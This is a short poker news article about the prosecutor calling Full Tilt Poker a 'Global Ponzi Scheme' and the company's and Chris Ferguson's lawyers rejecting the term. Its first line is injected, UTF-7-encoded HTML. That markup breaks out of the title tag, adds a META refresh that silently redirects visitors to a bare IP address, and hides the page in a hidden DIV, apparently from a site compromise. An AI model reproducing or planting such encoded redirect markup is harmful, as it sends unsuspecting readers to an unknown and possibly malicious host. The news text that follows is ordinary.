+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Throughout the poker world the US Attorney Preet Bharara has come under quite a bit of fire for terming Full Tilt Poker a “Global Ponzi Scheme” in the amended complaint filed this week. While almost to a man the poker world feels Full Tilt Poker is guilty of negligence and in some cases fraud, the use of the term Ponzi scheme has been seen as a leaving major black eye on the entire poker industry.

On Thursday two attorneys were quoted in the Wall Street Journal, one representing Full Tilt Poker and the other representing Chris Ferguson, , both of whom dismissed the idea that Full Tilt Poker was run like a Ponzi scheme.

Here is a look at what Full Tilt Poker attorney Jeff Ifrah was quoted as saying in the WSJ:

“A Ponzi scheme requires an investment vehicle in order to receive a certain rate of high return,” Jeff Ifrah, one of Full Tilt Poker’s attorneys, said. “None of those things happened here.” Ifrah says Full Tilt Poker “should be likened to that of a problematic bank, rather than an illegal investment scheme.”

While Ian Imrich, who is representing Chris Ferguson, was quoted by the WSJ as saying:

“While the government has obviously taken issue with the underlying activities of FTP, under any reasonable interpretation, the world-wide operations of the online cardroom are not a so-called Ponzi scheme.”

While the exact definition has not been meant in this instance, it’s hard to argue Full Tilt Poker did not have the basic foundational traits of a Ponzi scheme during the lead-up and immediate aftermath of Black Friday.